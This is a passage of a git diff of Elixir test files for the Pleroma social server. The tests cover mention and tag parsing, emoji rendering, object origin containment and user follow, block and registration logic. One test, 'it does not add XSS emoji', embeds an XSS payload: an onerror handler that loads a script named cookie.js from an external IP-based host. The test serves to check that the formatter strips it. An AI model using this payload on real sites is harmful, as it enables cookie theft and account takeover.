	expected_text =
	"<span class='h-card'><a data-user='#{o.id}' class='u-url mention' href='#{o.ap_id}'>@<span>o</span></a></span> hi"

	assert expected_text == text
	end

	test "does not give a replacement for single-character local nicknames who don't exist" do
	text = "@a hi"

	expected_text = "@a hi"
	assert {^expected_text, [] = _mentions, [] = _tags} = Formatter.linkify(text)
	end

	test "given the 'safe_mention' option, it will only mention people in the beginning" do
	user = insert(:user)
	_other_user = insert(:user)
	third_user = insert(:user)
	text = " @#{user.nickname} hey dude i hate @#{third_user.nickname}"
	{expected_text, mentions, [] = _tags} = Formatter.linkify(text, safe_mention: true)

	assert mentions == [{"@#{user.nickname}", user}]

	assert expected_text ==
	"<span class='h-card'><a data-user='#{user.id}' class='u-url mention' href='#{
	user.ap_id
	}'>@<span>#{user.nickname}</span></a></span> hey dude i hate <span class='h-card'><a data-user='#{
	third_user.id
	}' class='u-url mention' href='#{third_user.ap_id}'>@<span>#{third_user.nickname}</span></a></span>"
	end

	test "given the 'safe_mention' option, it will still work without any mention" do
	text = "A post without any mention"
	{expected_text, mentions, [] = _tags} = Formatter.linkify(text, safe_mention: true)

	assert mentions == []
	assert expected_text == text
	end
	end

	describe ".parse_tags" do
	test "parses tags in the text" do
	text = "Here's a #Test. Maybe these are #working or not. What about #漢字? And #は｡"

	expected_tags = [
	{"#Test", "test"},
	{"#working", "working"},
	{"#は", "は"},
	{"#漢字", "漢字"}
	]

	assert {_text, [], ^expected_tags} = Formatter.linkify(text)
	end
	end

	test "it can parse mentions and return the relevant users" do
	text =
	"@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm"

	o = insert(:user, %{nickname: "o"})
	jimm = insert(:user, %{nickname: "jimm"})
	gsimg = insert(:user, %{nickname: "gsimg"})
	archaeme = insert(:user, %{nickname: "archaeme"})
	archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})

	expected_mentions = [
	{"@archaeme", archaeme},
	{"@archaeme@archae.me", archaeme_remote},
	{"@gsimg", gsimg},
	{"@jimm", jimm},
	{"@o", o}
	]

	assert {_text, ^expected_mentions, []} = Formatter.linkify(text)
	end

	test "it adds cool emoji" do
	- text = "I love :moominmamma:"
	+ text = "I love :firefox:"

	expected_result =
	- "I love <img height=\"32px\" width=\"32px\" alt=\"moominmamma\" title=\"moominmamma\" src=\"/finmoji/128px/moominmamma-128.png\" />"
	+ "I love <img height=\"32px\" width=\"32px\" alt=\"firefox\" title=\"firefox\" src=\"/emoji/Firefox.gif\" />"

	assert Formatter.emojify(text) == expected_result
	end

	test "it does not add XSS emoji" do
	text =
	"I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"

	custom_emoji = %{
	"'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
	"https://placehold.it/1x1"
	}

	expected_result =
	"I love <img height=\"32px\" width=\"32px\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"

	assert Formatter.emojify(text, custom_emoji) == expected_result
	end

	test "it returns the emoji used in the text" do
	- text = "I love :moominmamma:"
	+ text = "I love :firefox:"

	assert Formatter.get_emoji(text) == [
	- {"moominmamma", "/finmoji/128px/moominmamma-128.png", "Finmoji"}
	+ {"firefox", "/emoji/Firefox.gif", ["Gif", "Fun"]}
	]
	end

	test "it returns a nice empty result when no emojis are present" do
	text = "I love moominamma"
	assert Formatter.get_emoji(text) == []
	end

	test "it doesn't die when text is absent" do
	text = nil
	assert Formatter.get_emoji(text) == []
	end

	test "it escapes HTML in plain text" do
	text = "hello & world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1"
	expected = "hello & world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1"

	assert Formatter.html_escape(text, "text/plain") == expected
	end
	end
	diff --git a/test/object/containment_test.exs b/test/object/containment_test.exs
	new file mode 100644
	index 000000000..452064093
	--- /dev/null
	+++ b/test/object/containment_test.exs
	@@ -0,0 +1,58 @@
	+defmodule Pleroma.Object.ContainmentTest do
	+ use Pleroma.DataCase
	+
	+ alias Pleroma.Object.Containment
	+ alias Pleroma.User
	+
	+ import Pleroma.Factory
	+
	+ describe "general origin containment" do
	+ test "contain_origin_from_id() catches obvious spoofing attempts" do
	+ data = %{
	+ "id" => "http://example.com/~alyssa/activities/1234.json"
	+ }
	+
	+ :error =
	+ Containment.contain_origin_from_id(
	+ "http://example.org/~alyssa/activities/1234.json",
	+ data
	+ )
	+ end
	+
	+ test "contain_origin_from_id() allows alternate IDs within the same origin domain" do
	+ data = %{
	+ "id" => "http://example.com/~alyssa/activities/1234.json"
	+ }
	+
	+ :ok =
	+ Containment.contain_origin_from_id(
	+ "http://example.com/~alyssa/activities/1234",
	+ data
	+ )
	+ end
	+
	+ test "contain_origin_from_id() allows matching IDs" do
	+ data = %{
	+ "id" => "http://example.com/~alyssa/activities/1234.json"
	+ }
	+
	+ :ok =
	+ Containment.contain_origin_from_id(
	+ "http://example.com/~alyssa/activities/1234.json",
	+ data
	+ )
	+ end
	+
	+ test "users cannot be collided through fake direction spoofing attempts" do
	+ _user =
	+ insert(:user, %{
	+ nickname: "rye@niu.moe",
	+ local: false,
	+ ap_id: "https://niu.moe/users/rye",
	+ follower_address: User.ap_followers(%User{nickname: "rye@niu.moe"})
	+ })
	+
	+ {:error, _} = User.get_or_fetch_by_ap_id("https://n1u.moe/users/rye")
	+ end
	+ end
	+end
	diff --git a/test/object/fetcher_test.exs b/test/object/fetcher_test.exs
	new file mode 100644
	index 000000000..72f616782
	--- /dev/null
	+++ b/test/object/fetcher_test.exs
	@@ -0,0 +1,90 @@
	+defmodule Pleroma.Object.FetcherTest do
	+ use Pleroma.DataCase
	+
	+ alias Pleroma.Activity
	+ alias Pleroma.Object
	+ alias Pleroma.Object.Fetcher
	+ import Tesla.Mock
	+
	+ setup do
	+ mock(fn env -> apply(HttpRequestMock, :request, [env]) end)
	+ :ok
	+ end
	+
	+ describe "actor origin containment" do
	+ test "it rejects objects with a bogus origin" do
	+ {:error, _} = Fetcher.fetch_object_from_id("https://info.pleroma.site/activity.json")
	+ end
	+
	+ test "it rejects objects when attributedTo is wrong (variant 1)" do
	+ {:error, _} = Fetcher.fetch_object_from_id("https://info.pleroma.site/activity2.json")
	+ end
	+
	+ test "it rejects objects when attributedTo is wrong (variant 2)" do
	+ {:error, _} = Fetcher.fetch_object_from_id("https://info.pleroma.site/activity3.json")
	+ end
	+ end
	+
	+ describe "fetching an object" do
	+ test "it fetches an object" do
	+ {:ok, object} =
	+ Fetcher.fetch_object_from_id("http://mastodon.example.org/@admin/99541947525187367")
	+
	+ assert activity = Activity.get_create_by_object_ap_id(object.data["id"])
	+ assert activity.data["id"]
	+
	+ {:ok, object_again} =
	+ Fetcher.fetch_object_from_id("http://mastodon.example.org/@admin/99541947525187367")
	+
	+ assert [attachment] = object.data["attachment"]
	+ assert is_list(attachment["url"])
	+
	+ assert object == object_again
	+ end
	+
	+ test "it works with objects only available via Ostatus" do
	+ {:ok, object} = Fetcher.fetch_object_from_id("https://shitposter.club/notice/2827873")
	+ assert activity = Activity.get_create_by_object_ap_id(object.data["id"])
	+ assert activity.data["id"]
	+
	+ {:ok, object_again} = Fetcher.fetch_object_from_id("https://shitposter.club/notice/2827873")
	+
	+ assert object == object_again
	+ end
	+
	+ test "it correctly stitches up conversations between ostatus and ap" do
	+ last = "https://mstdn.io/users/mayuutann/statuses/99568293732299394"
	+ {:ok, object} = Fetcher.fetch_object_from_id(last)
	+
	+ object = Object.get_by_ap_id(object.data["inReplyTo"])
	+ assert object
	+ end
	+ end
	+
	+ describe "implementation quirks" do
	+ test "it can fetch plume articles" do
	+ {:ok, object} =
	+ Fetcher.fetch_object_from_id(
	+ "https://baptiste.gelez.xyz/~/PlumeDevelopment/this-month-in-plume-june-2018/"
	+ )
	+
	+ assert object
	+ end
	+
	+ test "it can fetch peertube videos" do
	+ {:ok, object} =
	+ Fetcher.fetch_object_from_id(
	+ "https://peertube.moe/videos/watch/df5f464b-be8d-46fb-ad81-2d4c2d1630e3"
	+ )
	+
	+ assert object
	+ end
	+
	+ test "all objects with fake directions are rejected by the object fetcher" do
	+ {:error, _} =
	+ Fetcher.fetch_and_contain_remote_object_from_id(
	+ "https://info.pleroma.site/activity4.json"
	+ )
	+ end
	+ end
	+end
	diff --git a/test/object_test.exs b/test/object_test.exs
	index 911757d57..d138ee091 100644
	--- a/test/object_test.exs
	+++ b/test/object_test.exs
	@@ -1,61 +1,89 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.ObjectTest do
	use Pleroma.DataCase
	import Pleroma.Factory
	+ import Tesla.Mock
	alias Pleroma.Object
	alias Pleroma.Repo

	+ setup do
	+ mock(fn env -> apply(HttpRequestMock, :request, [env]) end)
	+ :ok
	+ end
	+
	test "returns an object by it's AP id" do
	object = insert(:note)
	found_object = Object.get_by_ap_id(object.data["id"])

	assert object == found_object
	end

	describe "generic changeset" do
	test "it ensures uniqueness of the id" do
	object = insert(:note)
	cs = Object.change(%Object{}, %{data: %{id: object.data["id"]}})
	assert cs.valid?

	{:error, _result} = Repo.insert(cs)
	end
	end

	describe "deletion function" do
	test "deletes an object" do
	object = insert(:note)
	found_object = Object.get_by_ap_id(object.data["id"])

	assert object == found_object

	Object.delete(found_object)

	found_object = Object.get_by_ap_id(object.data["id"])

	refute object == found_object

	assert found_object.data["type"] == "Tombstone"
	end

	test "ensures cache is cleared for the object" do
	object = insert(:note)
	cached_object = Object.get_cached_by_ap_id(object.data["id"])

	assert object == cached_object

	Object.delete(cached_object)

	{:ok, nil} = Cachex.get(:object_cache, "object:#{object.data["id"]}")

	cached_object = Object.get_cached_by_ap_id(object.data["id"])

	refute object == cached_object

	assert cached_object.data["type"] == "Tombstone"
	end
	end
	+
	+ describe "normalizer" do
	+ test "fetches unknown objects by default" do
	+ %Object{} =
	+ object = Object.normalize("http://mastodon.example.org/@admin/99541947525187367")
	+
	+ assert object.data["url"] == "http://mastodon.example.org/@admin/99541947525187367"
	+ end
	+
	+ test "fetches unknown objects when fetch_remote is explicitly true" do
	+ %Object{} =
	+ object = Object.normalize("http://mastodon.example.org/@admin/99541947525187367", true)
	+
	+ assert object.data["url"] == "http://mastodon.example.org/@admin/99541947525187367"
	+ end
	+
	+ test "does not fetch unknown objects when fetch_remote is false" do
	+ assert is_nil(
	+ Object.normalize("http://mastodon.example.org/@admin/99541947525187367", false)
	+ )
	+ end
	+ end
	end
	diff --git a/test/scheduled_activity_worker_test.exs b/test/scheduled_activity_worker_test.exs
	index b9c91dda6..e3ad1244e 100644
	--- a/test/scheduled_activity_worker_test.exs
	+++ b/test/scheduled_activity_worker_test.exs
	@@ -1,19 +1,19 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.ScheduledActivityWorkerTest do
	use Pleroma.DataCase
	alias Pleroma.ScheduledActivity
	import Pleroma.Factory

	test "creates a status from the scheduled activity" do
	user = insert(:user)
	scheduled_activity = insert(:scheduled_activity, user: user, params: %{status: "hi"})
	Pleroma.ScheduledActivityWorker.perform(:execute, scheduled_activity.id)

	refute Repo.get(ScheduledActivity, scheduled_activity.id)
	activity = Repo.all(Pleroma.Activity) \|> Enum.find(&(&1.actor == user.ap_id))
	- assert activity.data["object"]["content"] == "hi"
	+ assert Pleroma.Object.normalize(activity).data["content"] == "hi"
	end
	end
	diff --git a/test/user_test.exs b/test/user_test.exs
	index 37599927f..42d570c50 100644
	--- a/test/user_test.exs
	+++ b/test/user_test.exs
	@@ -1,1170 +1,1171 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.UserTest do
	alias Pleroma.Activity
	alias Pleroma.Builders.UserBuilder
	+ alias Pleroma.Object
	alias Pleroma.Repo
	alias Pleroma.User
	alias Pleroma.Web.CommonAPI

	use Pleroma.DataCase

	import Pleroma.Factory

	setup_all do
	Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
	:ok
	end

	describe "when tags are nil" do
	test "tagging a user" do
	user = insert(:user, %{tags: nil})
	user = User.tag(user, ["cool", "dude"])

	assert "cool" in user.tags
	assert "dude" in user.tags
	end

	test "untagging a user" do
	user = insert(:user, %{tags: nil})
	user = User.untag(user, ["cool", "dude"])

	assert user.tags == []
	end
	end

	test "ap_id returns the activity pub id for the user" do
	user = UserBuilder.build()

	expected_ap_id = "#{Pleroma.Web.base_url()}/users/#{user.nickname}"

	assert expected_ap_id == User.ap_id(user)
	end

	test "ap_followers returns the followers collection for the user" do
	user = UserBuilder.build()

	expected_followers_collection = "#{User.ap_id(user)}/followers"

	assert expected_followers_collection == User.ap_followers(user)
	end

	test "returns all pending follow requests" do
	unlocked = insert(:user)
	locked = insert(:user, %{info: %{locked: true}})
	follower = insert(:user)

	Pleroma.Web.TwitterAPI.TwitterAPI.follow(follower, %{"user_id" => unlocked.id})
	Pleroma.Web.TwitterAPI.TwitterAPI.follow(follower, %{"user_id" => locked.id})

	assert {:ok, []} = User.get_follow_requests(unlocked)
	assert {:ok, [activity]} = User.get_follow_requests(locked)

	assert activity
	end

	test "doesn't return already accepted or duplicate follow requests" do
	locked = insert(:user, %{info: %{locked: true}})
	pending_follower = insert(:user)
	accepted_follower = insert(:user)

	Pleroma.Web.TwitterAPI.TwitterAPI.follow(pending_follower, %{"user_id" => locked.id})
	Pleroma.Web.TwitterAPI.TwitterAPI.follow(pending_follower, %{"user_id" => locked.id})
	Pleroma.Web.TwitterAPI.TwitterAPI.follow(accepted_follower, %{"user_id" => locked.id})
	User.maybe_follow(accepted_follower, locked)

	assert {:ok, [activity]} = User.get_follow_requests(locked)
	assert activity
	end

	test "follow_all follows mutliple users" do
	user = insert(:user)
	followed_zero = insert(:user)
	followed_one = insert(:user)
	followed_two = insert(:user)
	blocked = insert(:user)
	not_followed = insert(:user)
	reverse_blocked = insert(:user)

	{:ok, user} = User.block(user, blocked)
	{:ok, reverse_blocked} = User.block(reverse_blocked, user)

	{:ok, user} = User.follow(user, followed_zero)

	{:ok, user} = User.follow_all(user, [followed_one, followed_two, blocked, reverse_blocked])

	assert User.following?(user, followed_one)
	assert User.following?(user, followed_two)
	assert User.following?(user, followed_zero)
	refute User.following?(user, not_followed)
	refute User.following?(user, blocked)
	refute User.following?(user, reverse_blocked)
	end

	test "follow_all follows mutliple users without duplicating" do
	user = insert(:user)
	followed_zero = insert(:user)
	followed_one = insert(:user)
	followed_two = insert(:user)

	{:ok, user} = User.follow_all(user, [followed_zero, followed_one])
	assert length(user.following) == 3

	{:ok, user} = User.follow_all(user, [followed_one, followed_two])
	assert length(user.following) == 4
	end

	test "follow takes a user and another user" do
	user = insert(:user)
	followed = insert(:user)

	{:ok, user} = User.follow(user, followed)

	user = User.get_cached_by_id(user.id)

	followed = User.get_cached_by_ap_id(followed.ap_id)
	assert followed.info.follower_count == 1

	assert User.ap_followers(followed) in user.following
	end

	test "can't follow a deactivated users" do
	user = insert(:user)
	followed = insert(:user, info: %{deactivated: true})

	{:error, _} = User.follow(user, followed)
	end

	test "can't follow a user who blocked us" do
	blocker = insert(:user)
	blockee = insert(:user)

	{:ok, blocker} = User.block(blocker, blockee)

	{:error, _} = User.follow(blockee, blocker)
	end

	test "can't subscribe to a user who blocked us" do
	blocker = insert(:user)
	blocked = insert(:user)

	{:ok, blocker} = User.block(blocker, blocked)

	{:error, _} = User.subscribe(blocked, blocker)
	end

	test "local users do not automatically follow local locked accounts" do
	follower = insert(:user, info: %{locked: true})
	followed = insert(:user, info: %{locked: true})

	{:ok, follower} = User.maybe_direct_follow(follower, followed)

	refute User.following?(follower, followed)
	end

	# This is a somewhat useless test.
	# test "following a remote user will ensure a websub subscription is present" do
	# user = insert(:user)
	# {:ok, followed} = OStatus.make_user("shp@social.heldscal.la")

	# assert followed.local == false

	# {:ok, user} = User.follow(user, followed)
	# assert User.ap_followers(followed) in user.following

	# query = from w in WebsubClientSubscription,
	# where: w.topic == ^followed.info["topic"]
	# websub = Repo.one(query)

	# assert websub
	# end

	test "unfollow takes a user and another user" do
	followed = insert(:user)
	user = insert(:user, %{following: [User.ap_followers(followed)]})

	{:ok, user, _activity} = User.unfollow(user, followed)

	user = User.get_cached_by_id(user.id)

	assert user.following == []
	end

	test "unfollow doesn't unfollow yourself" do
	user = insert(:user)

	{:error, _} = User.unfollow(user, user)

	user = User.get_cached_by_id(user.id)
	assert user.following == [user.ap_id]
	end

	test "test if a user is following another user" do
	followed = insert(:user)
	user = insert(:user, %{following: [User.ap_followers(followed)]})

	assert User.following?(user, followed)
	refute User.following?(followed, user)
	end

	test "fetches correct profile for nickname beginning with number" do
	# Use old-style integer ID to try to reproduce the problem
	user = insert(:user, %{id: 1080})
	userwithnumbers = insert(:user, %{nickname: "#{user.id}garbage"})
	assert userwithnumbers == User.get_cached_by_nickname_or_id(userwithnumbers.nickname)
	end

	describe "user registration" do
	@full_user_data %{
	bio: "A guy",
	name: "my name",
	nickname: "nick",
	password: "test",
	password_confirmation: "test",
	email: "email@example.com"
	}

	test "it autofollows accounts that are set for it" do
	user = insert(:user)
	remote_user = insert(:user, %{local: false})

	Pleroma.Config.put([:instance, :autofollowed_nicknames], [
	user.nickname,
	remote_user.nickname
	])

	cng = User.register_changeset(%User{}, @full_user_data)

	{:ok, registered_user} = User.register(cng)

	assert User.following?(registered_user, user)
	refute User.following?(registered_user, remote_user)

	Pleroma.Config.put([:instance, :autofollowed_nicknames], [])
	end

	test "it sends a welcome message if it is set" do
	welcome_user = insert(:user)

	Pleroma.Config.put([:instance, :welcome_user_nickname], welcome_user.nickname)
	Pleroma.Config.put([:instance, :welcome_message], "Hello, this is a cool site")

	cng = User.register_changeset(%User{}, @full_user_data)
	{:ok, registered_user} = User.register(cng)

	activity = Repo.one(Pleroma.Activity)
	assert registered_user.ap_id in activity.recipients
	- assert activity.data["object"]["content"] =~ "cool site"
	+ assert Object.normalize(activity).data["content"] =~ "cool site"
	assert activity.actor == welcome_user.ap_id

	Pleroma.Config.put([:instance, :welcome_user_nickname], nil)
	Pleroma.Config.put([:instance, :welcome_message], nil)
	end

	test "it requires an email, name, nickname and password, bio is optional" do
	@full_user_data
	\|> Map.keys()
	\|> Enum.each(fn key ->
	params = Map.delete(@full_user_data, key)
	changeset = User.register_changeset(%User{}, params)

	assert if key == :bio, do: changeset.valid?, else: not changeset.valid?
	end)
	end

	test "it restricts certain nicknames" do
	[restricted_name \| _] = Pleroma.Config.get([Pleroma.User, :restricted_nicknames])

	assert is_bitstring(restricted_name)

	params =
	@full_user_data
	\|> Map.put(:nickname, restricted_name)

	changeset = User.register_changeset(%User{}, params)

	refute changeset.valid?
	end

	test "it sets the password_hash, ap_id and following fields" do
	changeset = User.register_changeset(%User{}, @full_user_data)

	assert changeset.valid?

	assert is_binary(changeset.changes[:password_hash])
	assert changeset.changes[:ap_id] == User.ap_id(%User{nickname: @full_user_data.nickname})

	assert changeset.changes[:following] == [
	User.ap_followers(%User{nickname: @full_user_data.nickname})
	]

	assert changeset.changes.follower_address == "#{changeset.changes.ap_id}/followers"
	end

	test "it ensures info is not nil" do
	changeset = User.register_changeset(%User{}, @full_user_data)

	assert changeset.valid?

	{:ok, user} =
	changeset
	\|> Repo.insert()

	refute is_nil(user.info)
	end
	end

	describe "user registration, with :account_activation_required" do
	@full_user_data %{
	bio: "A guy",
	name: "my name",
	nickname: "nick",
	password: "test",
	password_confirmation: "test",
	email: "email@example.com"
	}

	setup do
	setting = Pleroma.Config.get([:instance, :account_activation_required])

	unless setting do
	Pleroma.Config.put([:instance, :account_activation_required], true)
	on_exit(fn -> Pleroma.Config.put([:instance, :account_activation_required], setting) end)
	end

	:ok
	end

	test "it creates unconfirmed user" do
	changeset = User.register_changeset(%User{}, @full_user_data)
	assert changeset.valid?

	{:ok, user} = Repo.insert(changeset)

	assert user.info.confirmation_pending
	assert user.info.confirmation_token
	end

	test "it creates confirmed user if :confirmed option is given" do
	changeset = User.register_changeset(%User{}, @full_user_data, confirmed: true)
	assert changeset.valid?

	{:ok, user} = Repo.insert(changeset)

	refute user.info.confirmation_pending
	refute user.info.confirmation_token
	end
	end

	describe "get_or_fetch/1" do
	test "gets an existing user by nickname" do
	user = insert(:user)
	fetched_user = User.get_or_fetch(user.nickname)

	assert user == fetched_user
	end

	test "gets an existing user by ap_id" do
	ap_id = "http://mastodon.example.org/users/admin"

	user =
	insert(
	:user,
	local: false,
	nickname: "admin@mastodon.example.org",
	ap_id: ap_id,
	info: %{}
	)

	fetched_user = User.get_or_fetch(ap_id)
	freshed_user = refresh_record(user)
	assert freshed_user == fetched_user
	end
	end

	describe "fetching a user from nickname or trying to build one" do
	test "gets an existing user" do
	user = insert(:user)
	fetched_user = User.get_or_fetch_by_nickname(user.nickname)

	assert user == fetched_user
	end

	test "gets an existing user, case insensitive" do
	user = insert(:user, nickname: "nick")
	fetched_user = User.get_or_fetch_by_nickname("NICK")

	assert user == fetched_user
	end

	test "gets an existing user by fully qualified nickname" do
	user = insert(:user)

	fetched_user =
	User.get_or_fetch_by_nickname(user.nickname <> "@" <> Pleroma.Web.Endpoint.host())

	assert user == fetched_user
	end

	test "gets an existing user by fully qualified nickname, case insensitive" do
	user = insert(:user, nickname: "nick")
	casing_altered_fqn = String.upcase(user.nickname <> "@" <> Pleroma.Web.Endpoint.host())

	fetched_user = User.get_or_fetch_by_nickname(casing_altered_fqn)

	assert user == fetched_user
	end

	test "fetches an external user via ostatus if no user exists" do
	fetched_user = User.get_or_fetch_by_nickname("shp@social.heldscal.la")
	assert fetched_user.nickname == "shp@social.heldscal.la"
	end

	test "returns nil if no user could be fetched" do
	fetched_user = User.get_or_fetch_by_nickname("nonexistant@social.heldscal.la")
	assert fetched_user == nil
	end

	test "returns nil for nonexistant local user" do
	fetched_user = User.get_or_fetch_by_nickname("nonexistant")
	assert fetched_user == nil
	end

	test "updates an existing user, if stale" do
	a_week_ago = NaiveDateTime.add(NaiveDateTime.utc_now(), -604_800)

	orig_user =
	insert(
	:user,
	local: false,
	nickname: "admin@mastodon.example.org",
	ap_id: "http://mastodon.example.org/users/admin",
	last_refreshed_at: a_week_ago,
	info: %{}
	)

	assert orig_user.last_refreshed_at == a_week_ago

	user = User.get_or_fetch_by_ap_id("http://mastodon.example.org/users/admin")
	assert user.info.source_data["endpoints"]

	refute user.last_refreshed_at == orig_user.last_refreshed_at
	end
	end

	test "returns an ap_id for a user" do
	user = insert(:user)

	assert User.ap_id(user) ==
	Pleroma.Web.Router.Helpers.o_status_url(
	Pleroma.Web.Endpoint,
	:feed_redirect,
	user.nickname
	)
	end

	test "returns an ap_followers link for a user" do
	user = insert(:user)

	assert User.ap_followers(user) ==
	Pleroma.Web.Router.Helpers.o_status_url(
	Pleroma.Web.Endpoint,
	:feed_redirect,
	user.nickname
	) <> "/followers"
	end

	describe "remote user creation changeset" do
	@valid_remote %{
	bio: "hello",
	name: "Someone",
	nickname: "a@b.de",
	ap_id: "http...",
	info: %{some: "info"},
	avatar: %{some: "avatar"}
	}

	test "it confirms validity" do
	cs = User.remote_user_creation(@valid_remote)
	assert cs.valid?
	end

	test "it sets the follower_adress" do
	cs = User.remote_user_creation(@valid_remote)
	# remote users get a fake local follower address
	assert cs.changes.follower_address ==
	User.ap_followers(%User{nickname: @valid_remote[:nickname]})
	end

	test "it enforces the fqn format for nicknames" do
	cs = User.remote_user_creation(%{@valid_remote \| nickname: "bla"})
	assert cs.changes.local == false
	assert cs.changes.avatar
	refute cs.valid?
	end

	test "it has required fields" do
	[:name, :ap_id]
	\|> Enum.each(fn field ->
	cs = User.remote_user_creation(Map.delete(@valid_remote, field))
	refute cs.valid?
	end)
	end

	test "it restricts some sizes" do
	[bio: 5000, name: 100]
	\|> Enum.each(fn {field, size} ->
	string = String.pad_leading(".", size)
	cs = User.remote_user_creation(Map.put(@valid_remote, field, string))
	assert cs.valid?

	string = String.pad_leading(".", size + 1)
	cs = User.remote_user_creation(Map.put(@valid_remote, field, string))
	refute cs.valid?
	end)
	end
	end

	describe "followers and friends" do
	test "gets all followers for a given user" do
	user = insert(:user)
	follower_one = insert(:user)
	follower_two = insert(:user)
	not_follower = insert(:user)

	{:ok, follower_one} = User.follow(follower_one, user)
	{:ok, follower_two} = User.follow(follower_two, user)

	{:ok, res} = User.get_followers(user)

	assert Enum.member?(res, follower_one)
	assert Enum.member?(res, follower_two)
	refute Enum.member?(res, not_follower)
	end

	test "gets all friends (followed users) for a given user" do
	user = insert(:user)
	followed_one = insert(:user)
	followed_two = insert(:user)
	not_followed = insert(:user)

	{:ok, user} = User.follow(user, followed_one)
	{:ok, user} = User.follow(user, followed_two)

	{:ok, res} = User.get_friends(user)

	followed_one = User.get_cached_by_ap_id(followed_one.ap_id)
	followed_two = User.get_cached_by_ap_id(followed_two.ap_id)
	assert Enum.member?(res, followed_one)
	assert Enum.member?(res, followed_two)
	refute Enum.member?(res, not_followed)
	end
	end

	describe "updating note and follower count" do
	test "it sets the info->note_count property" do
	note = insert(:note)

	user = User.get_cached_by_ap_id(note.data["actor"])

	assert user.info.note_count == 0

	{:ok, user} = User.update_note_count(user)

	assert user.info.note_count == 1
	end

	test "it increases the info->note_count property" do
	note = insert(:note)
	user = User.get_cached_by_ap_id(note.data["actor"])

	assert user.info.note_count == 0

	{:ok, user} = User.increase_note_count(user)

	assert user.info.note_count == 1

	{:ok, user} = User.increase_note_count(user)

	assert user.info.note_count == 2
	end

	test "it decreases the info->note_count property" do
	note = insert(:note)
	user = User.get_cached_by_ap_id(note.data["actor"])

	assert user.info.note_count == 0

	{:ok, user} = User.increase_note_count(user)

	assert user.info.note_count == 1

	{:ok, user} = User.decrease_note_count(user)

	assert user.info.note_count == 0

	{:ok, user} = User.decrease_note_count(user)

	assert user.info.note_count == 0
	end

	test "it sets the info->follower_count property" do
	user = insert(:user)
	follower = insert(:user)

	User.follow(follower, user)

	assert user.info.follower_count == 0

	{:ok, user} = User.update_follower_count(user)

	assert user.info.follower_count == 1
	end
	end

	describe "follow_import" do
	test "it imports user followings from list" do
	[user1, user2, user3] = insert_list(3, :user)

	identifiers = [
	user2.ap_id,
	user3.nickname
	]

	result = User.follow_import(user1, identifiers)
	assert is_list(result)
	assert result == [user2, user3]
	end
	end

	describe "mutes" do
	test "it mutes people" do
	user = insert(:user)
	muted_user = insert(:user)

	refute User.mutes?(user, muted_user)

	{:ok, user} = User.mute(user, muted_user)

	assert User.mutes?(user, muted_user)
	end

	test "it unmutes users" do
	user = insert(:user)
	muted_user = insert(:user)

	{:ok, user} = User.mute(user, muted_user)
	{:ok, user} = User.unmute(user, muted_user)

	refute User.mutes?(user, muted_user)
	end
	end

	describe "blocks" do
	test "it blocks people" do
	user = insert(:user)
	blocked_user = insert(:user)

	refute User.blocks?(user, blocked_user)

	{:ok, user} = User.block(user, blocked_user)

	assert User.blocks?(user, blocked_user)
	end

	test "it unblocks users" do
	user = insert(:user)
	blocked_user = insert(:user)

	{:ok, user} = User.block(user, blocked_user)
	{:ok, user} = User.unblock(user, blocked_user)

	refute User.blocks?(user, blocked_user)
	end

	test "blocks tear down cyclical follow relationships" do
	blocker = insert(:user)
	blocked = insert(:user)

	{:ok, blocker} = User.follow(blocker, blocked)
	{:ok, blocked} = User.follow(blocked, blocker)

	assert User.following?(blocker, blocked)
	assert User.following?(blocked, blocker)

	{:ok, blocker} = User.block(blocker, blocked)
	blocked = User.get_cached_by_id(blocked.id)

	assert User.blocks?(blocker, blocked)

	refute User.following?(blocker, blocked)
	refute User.following?(blocked, blocker)
	end

	test "blocks tear down blocker->blocked follow relationships" do
	blocker = insert(:user)
	blocked = insert(:user)

	{:ok, blocker} = User.follow(blocker, blocked)

	assert User.following?(blocker, blocked)
	refute User.following?(blocked, blocker)

	{:ok, blocker} = User.block(blocker, blocked)
	blocked = User.get_cached_by_id(blocked.id)

	assert User.blocks?(blocker, blocked)

	refute User.following?(blocker, blocked)
	refute User.following?(blocked, blocker)
	end

	test "blocks tear down blocked->blocker follow relationships" do
	blocker = insert(:user)
	blocked = insert(:user)

	{:ok, blocked} = User.follow(blocked, blocker)

	refute User.following?(blocker, blocked)
	assert User.following?(blocked, blocker)

	{:ok, blocker} = User.block(blocker, blocked)
	blocked = User.get_cached_by_id(blocked.id)

	assert User.blocks?(blocker, blocked)

	refute User.following?(blocker, blocked)
	refute User.following?(blocked, blocker)
	end

	test "blocks tear down blocked->blocker subscription relationships" do
	blocker = insert(:user)
	blocked = insert(:user)

	{:ok, blocker} = User.subscribe(blocked, blocker)

	assert User.subscribed_to?(blocked, blocker)
	refute User.subscribed_to?(blocker, blocked)

	{:ok, blocker} = User.block(blocker, blocked)

	assert User.blocks?(blocker, blocked)
	refute User.subscribed_to?(blocker, blocked)
	refute User.subscribed_to?(blocked, blocker)
	end
	end

	describe "domain blocking" do
	test "blocks domains" do
	user = insert(:user)
	collateral_user = insert(:user, %{ap_id: "https://awful-and-rude-instance.com/user/bully"})

	{:ok, user} = User.block_domain(user, "awful-and-rude-instance.com")

	assert User.blocks?(user, collateral_user)
	end

	test "unblocks domains" do
	user = insert(:user)
	collateral_user = insert(:user, %{ap_id: "https://awful-and-rude-instance.com/user/bully"})

	{:ok, user} = User.block_domain(user, "awful-and-rude-instance.com")
	{:ok, user} = User.unblock_domain(user, "awful-and-rude-instance.com")

